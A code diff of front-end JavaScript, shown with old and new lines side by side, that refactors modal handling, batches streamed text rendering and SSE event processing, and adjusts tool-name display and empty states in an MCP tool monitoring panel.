function setFofaMeta(text) { function setFofaMeta(text) {
@@ -1091,8 +1094,13 @@ function showCellDetailModal(field, fullText) {
`; `;
document.body.appendChild(modal); document.body.appendChild(modal);
openAppModal(modal);
const close = () => modal.remove(); const close = function () {
closeAppModal(modal);
modal.remove();
syncAppModalBodyLock();
};
modal.addEventListener('click', (e) => { modal.addEventListener('click', (e) => {
if (e.target === modal) close(); if (e.target === modal) close();
}); });
+24 -20
View File
@@ -905,25 +905,32 @@ function showAddKnowledgeItemModal() {
document.getElementById('knowledge-item-category').value = ''; document.getElementById('knowledge-item-category').value = '';
document.getElementById('knowledge-item-title').value = ''; document.getElementById('knowledge-item-title').value = '';
document.getElementById('knowledge-item-content').value = ''; document.getElementById('knowledge-item-content').value = '';
document.getElementById('knowledge-item-modal').style.display = 'block'; openAppModal('knowledge-item-modal');
} }
// 编辑知识项 // 编辑知识项
async function editKnowledgeItem(id) { async function editKnowledgeItem(id) {
try { try {
currentEditingItemId = id;
document.getElementById('knowledge-item-modal-title').textContent = '编辑知识';
document.getElementById('knowledge-item-category').value = '';
document.getElementById('knowledge-item-title').value = '';
document.getElementById('knowledge-item-content').value = '';
openAppModal('knowledge-item-modal', { focus: false });
const response = await apiFetch(`/api/knowledge/items/${id}`); const response = await apiFetch(`/api/knowledge/items/${id}`);
if (!response.ok) { if (!response.ok) {
throw new Error('获取知识项失败'); throw new Error('获取知识项失败');
} }
const item = await response.json(); const item = await response.json();
deferModalContent(() => {
currentEditingItemId = id; document.getElementById('knowledge-item-category').value = item.category;
document.getElementById('knowledge-item-modal-title').textContent = '编辑知识'; document.getElementById('knowledge-item-title').value = item.title;
document.getElementById('knowledge-item-category').value = item.category; document.getElementById('knowledge-item-content').value = item.content;
document.getElementById('knowledge-item-title').value = item.title; document.getElementById('knowledge-item-title')?.focus();
document.getElementById('knowledge-item-content').value = item.content; });
document.getElementById('knowledge-item-modal').style.display = 'block';
} catch (error) { } catch (error) {
closeAppModal('knowledge-item-modal');
currentEditingItemId = null;
console.error('编辑知识项失败:', error); console.error('编辑知识项失败:', error);
showNotification('编辑知识项失败: ' + error.message, 'error'); showNotification('编辑知识项失败: ' + error.message, 'error');
} }
@@ -1232,10 +1239,7 @@ function updateKnowledgeStatsAfterDelete() {
// 关闭知识项模态框 // 关闭知识项模态框
function closeKnowledgeItemModal() { function closeKnowledgeItemModal() {
const modal = document.getElementById('knowledge-item-modal'); closeAppModal('knowledge-item-modal');
if (modal) {
modal.style.display = 'none';
}
// 重置编辑状态 // 重置编辑状态
currentEditingItemId = null; currentEditingItemId = null;
@@ -1786,8 +1790,11 @@ function showRetrievalLogDetailsModal(log, retrievedItems) {
document.body.appendChild(modal); document.body.appendChild(modal);
} }
// 填充内容
const content = document.getElementById('retrieval-log-details-content'); const content = document.getElementById('retrieval-log-details-content');
if (content) content.innerHTML = '<p style="color:#64748b;margin:0;">…</p>';
openAppModal(modal, { focus: false });
deferModalContent(() => {
const timeAgo = getTimeAgo(log.createdAt); const timeAgo = getTimeAgo(log.createdAt);
const fullTime = formatTime(log.createdAt); const fullTime = formatTime(log.createdAt);
@@ -1880,16 +1887,12 @@ function showRetrievalLogDetailsModal(log, retrievedItems) {
</div> </div>
</div> </div>
`; `;
});
modal.style.display = 'block';
} }
// 关闭检索日志详情模态框 // 关闭检索日志详情模态框
function closeRetrievalLogDetailsModal() { function closeRetrievalLogDetailsModal() {
const modal = document.getElementById('retrieval-log-details-modal'); closeAppModal('retrieval-log-details-modal');
if (modal) {
modal.style.display = 'none';
}
} }
// 点击模态框外部关闭 // 点击模态框外部关闭
@@ -2118,7 +2121,8 @@ function showToastNotification(message, type = 'info') {
font-size: 0.875rem; font-size: 0.875rem;
line-height: 1.45; line-height: 1.45;
word-wrap: break-word; word-wrap: break-word;
backdrop-filter: blur(8px); backdrop-filter: none;
-webkit-backdrop-filter: none;
`; `;
toast.innerHTML = ` toast.innerHTML = `
+92
View File
@@ -0,0 +1,92 @@
/**
* 统一弹窗先显示遮罩下一帧再填大段内容避免与 backdrop 绘制抢主线程
*/
(function () {
const BODY_LOCK = 'app-modal-open';
const LEGACY_BODY_LOCK = 'projects-modal-open';
const OVERLAY_SELECTOR =
'.projects-modal-overlay, .c2-modal-overlay, .modal, .info-collect-cell-modal, #login-overlay';
const FLEX_MODAL_IDS = new Set([
'role-modal',
'skill-modal',
'agent-md-modal',
'batch-manage-modal',
'create-group-modal',
'login-overlay',
]);
function resolveEl(idOrEl) {
if (!idOrEl) return null;
return typeof idOrEl === 'string' ? document.getElementById(idOrEl) : idOrEl;
}
function isElVisible(el) {
if (!el) return false;
const s = window.getComputedStyle(el);
return s.display !== 'none' && s.visibility !== 'hidden';
}
function defaultDisplay(el) {
if (el.classList.contains('projects-modal-overlay') || el.classList.contains('c2-modal-overlay')) {
return 'flex';
}
if (el.classList.contains('info-collect-cell-modal')) {
return 'flex';
}
if (FLEX_MODAL_IDS.has(el.id)) {
return 'flex';
}
return 'block';
}
function syncBodyLock() {
const anyOpen = Array.from(document.querySelectorAll(OVERLAY_SELECTOR)).some(isElVisible);
document.body.classList.toggle(BODY_LOCK, anyOpen);
const projectsOpen = Array.from(document.querySelectorAll('.projects-modal-overlay')).some(isElVisible);
document.body.classList.toggle(LEGACY_BODY_LOCK, projectsOpen);
}
function openAppModal(idOrEl, opts) {
opts = opts || {};
const el = resolveEl(idOrEl);
if (!el) return null;
el.style.display = opts.display || defaultDisplay(el);
syncBodyLock();
if (opts.focus === false) return el;
const sel =
opts.focusSelector ||
'input.form-input, textarea.form-input, select.form-input, input:not([type="hidden"]):not([disabled]), textarea:not([disabled]), select:not([disabled])';
const focusTarget = opts.focusEl || el.querySelector(sel);
if (focusTarget) {
requestAnimationFrame(function () {
focusTarget.focus();
});
}
return el;
}
function closeAppModal(idOrEl) {
const el = resolveEl(idOrEl);
if (el) el.style.display = 'none';
syncBodyLock();
return el;
}
function isAppModalOpen(idOrEl) {
return isElVisible(resolveEl(idOrEl));
}
/** 双 rAF:等遮罩绘制完成后再写入大段 DOM / 表单 */
function deferModalContent(fn) {
requestAnimationFrame(function () {
requestAnimationFrame(fn);
});
}
window.openAppModal = openAppModal;
window.closeAppModal = closeAppModal;
window.isAppModalOpen = isAppModalOpen;
window.deferModalContent = deferModalContent;
window.syncAppModalBodyLock = syncBodyLock;
})();
+209 -62
View File
@@ -31,6 +31,25 @@ function shouldSkipTaskEventReplayAttach(conversationId) {
return false; return false;
} }
} }
/** 监控页展示:内部 mcp::tool → 模型侧 mcp__tool */
function formatMonitorToolName(name) {
if (!name || typeof name !== 'string') return name || '';
return name.includes('::') ? name.replace('::', '__') : name;
}
/** 筛选/APImcp__tool → 内部 mcp::tool(与库存一致) */
function canonicalMonitorToolName(name) {
if (!name || typeof name !== 'string') return name || '';
if (name.includes('::')) return name;
const idx = name.indexOf('__');
if (idx > 0) return `${name.slice(0, idx)}::${name.slice(idx + 2)}`;
return name;
}
function monitorToolNamesEqual(a, b) {
return canonicalMonitorToolName(a) === canonicalMonitorToolName(b);
}
if (typeof window !== 'undefined') { if (typeof window !== 'undefined') {
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach; window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
} }
@@ -638,18 +657,126 @@ function mergeStreamBuffer(current, delta, data) {
if (typeof window !== 'undefined') { if (typeof window !== 'undefined') {
window.streamBufferFromAccumulated = streamBufferFromAccumulated; window.streamBufferFromAccumulated = streamBufferFromAccumulated;
window.mergeStreamBuffer = mergeStreamBuffer; window.mergeStreamBuffer = mergeStreamBuffer;
window.processSseDataLinesYielding = processSseDataLinesYielding;
window.flushStreamPlainTextUpdate = flushStreamPlainTextUpdate;
window.scheduleStreamPlainTextUpdate = scheduleStreamPlainTextUpdate;
}
/** 流式纯文本 DOM:按帧合并更新,尽量增量 appendData,避免每条 SSE 全量 textContent 阻塞主线程 */
const streamPlainDomState = new WeakMap();
/** 跟踪仍有待刷新的流式节点,便于快照时间线前一次性 flush */
const streamPlainDomPendingElements = new Set();
function applyStreamPlainTextNow(contentEl, text, state) {
if (!contentEl) return;
const full = text == null ? '' : String(text);
const prevLen = state && state.renderedLen ? state.renderedLen : 0;
contentEl.classList.add('timeline-stream-plain');
if (full.length > prevLen && contentEl.childNodes.length === 1 &&
contentEl.firstChild && contentEl.firstChild.nodeType === Node.TEXT_NODE) {
const existing = contentEl.firstChild.nodeValue || '';
if (existing.length === prevLen && full.startsWith(existing)) {
const delta = full.slice(prevLen);
if (delta) {
contentEl.firstChild.appendData(delta);
if (state) {
state.renderedLen = full.length;
state.pendingText = full;
}
return;
}
}
}
contentEl.textContent = full;
if (state) {
state.renderedLen = full.length;
state.pendingText = full;
}
}
function flushStreamPlainTextUpdate(contentEl) {
if (!contentEl) return;
const state = streamPlainDomState.get(contentEl);
if (!state) return;
if (state.rafId) {
cancelAnimationFrame(state.rafId);
state.rafId = 0;
}
applyStreamPlainTextNow(contentEl, state.pendingText, state);
}
function scheduleStreamPlainTextUpdate(contentEl, text) {
if (!contentEl) return;
const full = text == null ? '' : String(text);
let state = streamPlainDomState.get(contentEl);
if (!state) {
state = { pendingText: full, rafId: 0, renderedLen: 0 };
streamPlainDomState.set(contentEl, state);
} else {
state.pendingText = full;
}
streamPlainDomPendingElements.add(contentEl);
if (state.rafId) return;
state.rafId = requestAnimationFrame(function () {
state.rafId = 0;
applyStreamPlainTextNow(contentEl, state.pendingText, state);
});
}
function resetStreamPlainTextState(contentEl) {
if (!contentEl) return;
const state = streamPlainDomState.get(contentEl);
if (state && state.rafId) {
cancelAnimationFrame(state.rafId);
}
streamPlainDomState.delete(contentEl);
streamPlainDomPendingElements.delete(contentEl);
}
function flushAllPendingStreamPlainUpdates() {
streamPlainDomPendingElements.forEach(function (el) {
if (el && el.isConnected) {
flushStreamPlainTextUpdate(el);
}
});
} }
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */ /** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
function setTimelineItemContentStreamPlain(contentEl, text) { function setTimelineItemContentStreamPlain(contentEl, text) {
if (!contentEl) return; if (!contentEl) return;
contentEl.classList.add('timeline-stream-plain'); resetStreamPlainTextState(contentEl);
contentEl.textContent = text == null ? '' : String(text); applyStreamPlainTextNow(contentEl, text, null);
}
/**
* 分批处理 SSE data 行并在批间让出主线程避免单次 read() 内数百条事件连续阻塞 UI
* @param {string[]} lines
* @param {(event: object) => void} onEvent
* @param {{ yieldEvery?: number }} [options]
*/
async function processSseDataLinesYielding(lines, onEvent, options) {
const yieldEvery = (options && options.yieldEvery) || 32;
for (let i = 0; i < lines.length; i++) {
const line = lines[i];
if (line.startsWith('data: ')) {
try {
onEvent(JSON.parse(line.slice(6)));
} catch (e) {
console.error('解析事件数据失败:', e, line);
}
}
if ((i + 1) % yieldEvery === 0 && i + 1 < lines.length) {
await new Promise(function (resolve) { requestAnimationFrame(resolve); });
}
}
} }
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */ /** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
function setTimelineItemContentStreamRich(contentEl, html) { function setTimelineItemContentStreamRich(contentEl, html) {
if (!contentEl) return; if (!contentEl) return;
resetStreamPlainTextState(contentEl);
contentEl.classList.remove('timeline-stream-plain'); contentEl.classList.remove('timeline-stream-plain');
contentEl.innerHTML = html; contentEl.innerHTML = html;
} }
@@ -817,18 +944,12 @@ function openUserInterruptModal(progressId, conversationId) {
if (ta) { if (ta) {
ta.value = ''; ta.value = '';
} }
const m = document.getElementById('user-interrupt-modal'); openAppModal('user-interrupt-modal');
if (m) {
m.style.display = 'block';
}
} }
function closeUserInterruptModal() { function closeUserInterruptModal() {
userInterruptModalPending = null; userInterruptModalPending = null;
const m = document.getElementById('user-interrupt-modal'); closeAppModal('user-interrupt-modal');
if (m) {
m.style.display = 'none';
}
} }
async function submitUserInterruptContinue() { async function submitUserInterruptContinue() {
@@ -1054,6 +1175,9 @@ function integrateProgressToMCPSection(progressId, assistantMessageId, mcpExecut
const progressElement = document.getElementById(progressId); const progressElement = document.getElementById(progressId);
if (!progressElement) return; if (!progressElement) return;
// 快照 innerHTML 前刷掉尚未执行的 rAF 流式更新,避免过程详情少最后几帧
flushAllPendingStreamPlainUpdates();
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML. // Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
// Otherwise, once the progress element is removed, later 'done' events may not be able // Otherwise, once the progress element is removed, later 'done' events may not be able
// to update the original timeline DOM and the copied HTML would stay "执行中". // to update the original timeline DOM and the copied HTML would stay "执行中".
@@ -1668,7 +1792,7 @@ function handleStreamEvent(event, progressElement, progressId,
if (item) { if (item) {
const contentEl = item.querySelector('.timeline-item-content'); const contentEl = item.querySelector('.timeline-item-content');
if (contentEl) { if (contentEl) {
setTimelineItemContentStreamPlain(contentEl, s.buffer); scheduleStreamPlainTextUpdate(contentEl, s.buffer);
} }
} }
break; break;
@@ -1688,6 +1812,7 @@ function handleStreamEvent(event, progressElement, progressId,
if (item) { if (item) {
const contentEl = item.querySelector('.timeline-item-content'); const contentEl = item.querySelector('.timeline-item-content');
if (contentEl) { if (contentEl) {
flushStreamPlainTextUpdate(contentEl);
if (typeof formatMarkdown === 'function') { if (typeof formatMarkdown === 'function') {
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts)); setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
} else { } else {
@@ -1784,6 +1909,21 @@ function handleStreamEvent(event, progressElement, progressId,
break; break;
} }
case 'eino_empty_response_continue': {
const d = event.data || {};
const title = typeof window.t === 'function'
? window.t('chat.einoEmptyResponseContinueTitle')
: '🔁 自动续跑(无助手正文)';
addTimelineItem(timeline, 'warning', {
title: title,
message: event.message || (typeof window.t === 'function'
? window.t('chat.einoEmptyResponseContinueMessage')
: '会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…'),
data: d
});
break;
}
case 'eino_run_retry': { case 'eino_run_retry': {
const d = event.data || {}; const d = event.data || {};
const title = typeof window.t === 'function' const title = typeof window.t === 'function'
@@ -1899,7 +2039,7 @@ function handleStreamEvent(event, progressElement, progressId,
const pre = item.querySelector('pre.tool-result'); const pre = item.querySelector('pre.tool-result');
if (pre) { if (pre) {
pre.classList.remove('tool-result-pending'); pre.classList.remove('tool-result-pending');
pre.textContent = state.buffer; scheduleStreamPlainTextUpdate(pre, state.buffer);
} }
} }
break; break;
@@ -2006,7 +2146,7 @@ function handleStreamEvent(event, progressElement, progressId,
} }
} }
if (contentEl) { if (contentEl) {
setTimelineItemContentStreamPlain(contentEl, s.buffer); scheduleStreamPlainTextUpdate(contentEl, s.buffer);
} }
} }
break; break;
@@ -2033,6 +2173,7 @@ function handleStreamEvent(event, progressElement, progressId,
contentEl.className = 'timeline-item-content'; contentEl.className = 'timeline-item-content';
item.appendChild(contentEl); item.appendChild(contentEl);
} }
flushStreamPlainTextUpdate(contentEl);
if (typeof formatMarkdown === 'function') { if (typeof formatMarkdown === 'function') {
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts)); setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
} else { } else {
@@ -2209,15 +2350,13 @@ function handleStreamEvent(event, progressElement, progressId,
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break; if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData); state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
// 更新时间线条目内容 // 流式阶段仅追加纯文本;formatTimelineStreamBody 在终态 response 时一次性处理
if (state.itemId) { if (state.itemId) {
const item = document.getElementById(state.itemId); const item = document.getElementById(state.itemId);
if (item) { if (item) {
const contentEl = item.querySelector('.timeline-item-content'); const contentEl = item.querySelector('.timeline-item-content');
if (contentEl) { if (contentEl) {
const meta = state.streamMeta || responseData; scheduleStreamPlainTextUpdate(contentEl, state.buffer);
const body = formatTimelineStreamBody(state.buffer, meta);
setTimelineItemContentStreamPlain(contentEl, body);
} }
} }
} }
@@ -2757,39 +2896,22 @@ async function attachRunningTaskEventStream(conversationId) {
const reader = response.body.getReader(); const reader = response.body.getReader();
const decoder = new TextDecoder(); const decoder = new TextDecoder();
let buffer = ''; let buffer = '';
const dispatchTaskEvent = function (eventData) {
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
};
while (true) { while (true) {
const chunk = await reader.read(); const chunk = await reader.read();
if (chunk.done) break; if (chunk.done) break;
buffer += decoder.decode(chunk.value, { stream: true }); buffer += decoder.decode(chunk.value, { stream: true });
const lines = buffer.split('\n'); const lines = buffer.split('\n');
buffer = lines.pop() || ''; buffer = lines.pop() || '';
for (let li = 0; li < lines.length; li++) { await processSseDataLinesYielding(lines, dispatchTaskEvent);
const line = lines[li];
if (line.indexOf('data: ') === 0) {
try {
const eventData = JSON.parse(line.slice(6));
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
} catch (e) {
console.error('task-events parse', e);
}
}
}
} }
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes. // Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
buffer += decoder.decode(); buffer += decoder.decode();
if (buffer.trim()) { if (buffer.trim()) {
const lines = buffer.split('\n'); const lines = buffer.split('\n');
for (let li = 0; li < lines.length; li++) { await processSseDataLinesYielding(lines, dispatchTaskEvent);
const line = lines[li];
if (line.indexOf('data: ') === 0) {
try {
const eventData = JSON.parse(line.slice(6));
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
} catch (e) {
console.error('task-events parse', e);
}
}
}
} }
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) { if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
clearCsTaskReplay(); clearCsTaskReplay();
@@ -2921,7 +3043,9 @@ function mergeToolResultIntoCallItem(item, data, options) {
const pre = section.querySelector('pre.tool-result'); const pre = section.querySelector('pre.tool-result');
if (pre) { if (pre) {
pre.classList.remove('tool-result-pending'); pre.classList.remove('tool-result-pending');
flushStreamPlainTextUpdate(pre);
pre.textContent = text; pre.textContent = text;
resetStreamPlainTextState(pre);
} }
if (data.executionId) { if (data.executionId) {
@@ -3521,9 +3645,10 @@ async function applyMonitorFilters() {
const statusFilter = document.getElementById('monitor-status-filter'); const statusFilter = document.getElementById('monitor-status-filter');
const toolFilter = document.getElementById('monitor-tool-filter'); const toolFilter = document.getElementById('monitor-tool-filter');
const status = statusFilter ? statusFilter.value : 'all'; const status = statusFilter ? statusFilter.value : 'all';
const tool = toolFilter ? (toolFilter.value.trim() || 'all') : 'all'; const toolRaw = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
const tool = toolRaw === 'all' ? 'all' : canonicalMonitorToolName(toolRaw);
if (toolFilter) { if (toolFilter) {
toolFilter.classList.toggle('is-filter-active', tool !== 'all'); toolFilter.classList.toggle('is-filter-active', toolRaw !== 'all');
} }
// 当筛选条件改变时,从后端重新获取数据 // 当筛选条件改变时,从后端重新获取数据
await refreshMonitorPanelWithFilter(status, tool); await refreshMonitorPanelWithFilter(status, tool);
@@ -3855,7 +3980,9 @@ async function setMcpMonitorTimelineRange(range) {
monitorState.timeline = timelineJson; monitorState.timeline = timelineJson;
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner'); const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
if (timelineInner) { if (timelineInner) {
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError); const combined = timelineInner.closest('.mcp-stats-combined');
const compactEmpty = combined && !!combined.querySelector('.mcp-stats-combined__main');
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError, compactEmpty);
bindMcpStatsTimelineEvents(); bindMcpStatsTimelineEvents();
syncMcpMonitorTimelineRangeUI(range); syncMcpMonitorTimelineRangeUI(range);
} else if (monitorState.stats && Object.keys(monitorState.stats).length > 0) { } else if (monitorState.stats && Object.keys(monitorState.stats).length > 0) {
@@ -3865,7 +3992,9 @@ async function setMcpMonitorTimelineRange(range) {
monitorState.timelineError = err.message || 'error'; monitorState.timelineError = err.message || 'error';
const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner'); const timelineInner = document.querySelector('#monitor-stats .mcp-stats-combined__timeline-inner');
if (timelineInner) { if (timelineInner) {
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError); const combined = timelineInner.closest('.mcp-stats-combined');
const compactEmpty = combined && !!combined.querySelector('.mcp-stats-combined__main');
timelineInner.innerHTML = renderMcpStatsTimelineBody(monitorState.timeline, monitorState.timelineError, compactEmpty);
bindMcpStatsTimelineEvents(); bindMcpStatsTimelineEvents();
syncMcpMonitorTimelineRangeUI(range); syncMcpMonitorTimelineRangeUI(range);
} }
@@ -3883,7 +4012,21 @@ function renderMcpStatsTimelineRangeButtons() {
}).join(''); }).join('');
} }
function renderMcpStatsTimelineBody(timeline, timelineError) { const MCP_TIMELINE_EMPTY_ICON = '<svg class="mcp-stats-timeline-empty-state__icon" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="22 12 18 12 15 21 9 3 6 12 2 12"/></svg>';
function renderMcpStatsTimelineEmptyState(compact) {
const noData = mcpMonitorT('timelineNoData') || monitorFallback('该时段暂无调用', 'No calls in this period');
const emptyHint = mcpMonitorT('timelineEmptyHint')
|| monitorFallback('切换时间范围查看其他时段,或在对话/任务中调用 MCP 工具', 'Switch the time range or invoke MCP tools in chat or tasks');
const compactClass = compact ? ' mcp-stats-timeline-empty-state--compact' : '';
return `<div class="mcp-stats-timeline-empty-state${compactClass}">
${MCP_TIMELINE_EMPTY_ICON}
<p class="mcp-stats-timeline-empty-state__title">${escapeHtml(noData)}</p>
<p class="mcp-stats-timeline-empty-state__hint">${escapeHtml(emptyHint)}</p>
</div>`;
}
function renderMcpStatsTimelineBody(timeline, timelineError, compactEmpty) {
const hint = mcpMonitorT('timelineHint') || monitorFallback('全部工具合计', 'All tools combined'); const hint = mcpMonitorT('timelineHint') || monitorFallback('全部工具合计', 'All tools combined');
if (timelineError) { if (timelineError) {
@@ -3898,8 +4041,7 @@ function renderMcpStatsTimelineBody(timeline, timelineError) {
|| `区间内 ${summaryTotal} 次 · 峰值 ${peak}`; || `区间内 ${summaryTotal} 次 · 峰值 ${peak}`;
if (points.length === 0 || summaryTotal === 0) { if (points.length === 0 || summaryTotal === 0) {
const noData = mcpMonitorT('timelineNoData') || monitorFallback('该时段暂无调用', 'No calls in this period'); return renderMcpStatsTimelineEmptyState(!!compactEmpty);
return `<p class="mcp-stats-timeline-empty">${escapeHtml(noData)}</p>`;
} }
const rangeKey = timeline.range || getMcpMonitorTimelineRange(); const rangeKey = timeline.range || getMcpMonitorTimelineRange();
@@ -3930,9 +4072,10 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
if (!hasTools && !showTimeline) return ''; if (!hasTools && !showTimeline) return '';
const filterChipLabel = activeToolFilter ? formatMonitorToolName(activeToolFilter) : '';
const filterChip = activeToolFilter const filterChip = activeToolFilter
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: activeToolFilter }) || activeToolFilter)}"> ? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: filterChipLabel }) || filterChipLabel)}">
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: activeToolFilter }) || `已筛选:${activeToolFilter}`)}</span> <span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: filterChipLabel }) || `已筛选:${filterChipLabel}`)}</span>
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button> <button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
</span>` </span>`
: ''; : '';
@@ -3951,7 +4094,7 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
const timelineCol = showTimeline const timelineCol = showTimeline
? `<div class="mcp-stats-combined__timeline"> ? `<div class="mcp-stats-combined__timeline">
<p class="mcp-stats-combined__col-label">${escapeHtml(timelineTitle)}</p> <p class="mcp-stats-combined__col-label">${escapeHtml(timelineTitle)}</p>
<div class="mcp-stats-combined__timeline-inner">${renderMcpStatsTimelineBody(timeline, timelineError)}</div> <div class="mcp-stats-combined__timeline-inner">${renderMcpStatsTimelineBody(timeline, timelineError, hasTools)}</div>
</div>` </div>`
: ''; : '';
@@ -4372,7 +4515,7 @@ function updateMonitorStatsSubtitle(lastFetchedAt, toolCount) {
function filterMonitorByTool(toolName) { function filterMonitorByTool(toolName) {
const toolFilter = document.getElementById('monitor-tool-filter'); const toolFilter = document.getElementById('monitor-tool-filter');
if (!toolFilter || !toolName) return; if (!toolFilter || !toolName) return;
toolFilter.value = toolName; toolFilter.value = formatMonitorToolName(toolName);
toolFilter.classList.add('is-filter-active'); toolFilter.classList.add('is-filter-active');
applyMonitorFilters(); applyMonitorFilters();
const execSection = document.querySelector('.monitor-executions'); const execSection = document.querySelector('.monitor-executions');
@@ -4504,7 +4647,8 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
let rowsHtml = ''; let rowsHtml = '';
topTools.forEach((tool, index) => { topTools.forEach((tool, index) => {
const name = tool.toolName || unknownToolLabel; const rawName = tool.toolName || unknownToolLabel;
const name = formatMonitorToolName(rawName);
const total = tool.totalCalls || 0; const total = tool.totalCalls || 0;
const success = tool.successCalls || 0; const success = tool.successCalls || 0;
const failed = tool.failedCalls || 0; const failed = tool.failedCalls || 0;
@@ -4512,14 +4656,14 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
const toolRate = toolRateNum.toFixed(1); const toolRate = toolRateNum.toFixed(1);
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0'; const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length]; const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
const isActive = activeToolFilter && activeToolFilter === name; const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
const rateClass = getMcpToolRateClass(toolRateNum); const rateClass = getMcpToolRateClass(toolRateNum);
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : ''; const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate }) const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|| `${name}${total} 次调用,成功率 ${toolRate}%`; || `${name}${total} 次调用,成功率 ${toolRate}%`;
rowsHtml += ` rowsHtml += `
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}" <tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
data-tool-name="${escapeHtml(name)}" data-tool-name="${escapeHtml(rawName)}"
tabindex="0" tabindex="0"
role="button" role="button"
aria-label="${escapeHtml(rowAria)}" aria-label="${escapeHtml(rowAria)}"
@@ -4568,14 +4712,15 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
const distAria = mcpMonitorT('distTitle') || '调用分布'; const distAria = mcpMonitorT('distTitle') || '调用分布';
const stackedHtml = segments.map((s) => { const stackedHtml = segments.map((s) => {
const isActive = !s.isOthers && activeToolFilter && activeToolFilter === s.name; const isActive = !s.isOthers && activeToolFilter && monitorToolNamesEqual(activeToolFilter, s.name);
const title = `${s.name} · ${s.pct}% · ${s.calls}`; const displayName = s.isOthers ? s.name : formatMonitorToolName(s.name);
const title = `${displayName} · ${s.pct}% · ${s.calls}`;
if (s.isOthers) { if (s.isOthers) {
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation" return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`; style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
} }
const segAria = mcpMonitorT('distSegmentAria', { name: s.name, pct: s.pct, calls: s.calls }) const segAria = mcpMonitorT('distSegmentAria', { name: displayName, pct: s.pct, calls: s.calls })
|| `${s.name},占 ${s.pct}%${s.calls}`; || `${displayName},占 ${s.pct}%${s.calls}`;
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}" return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0" data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
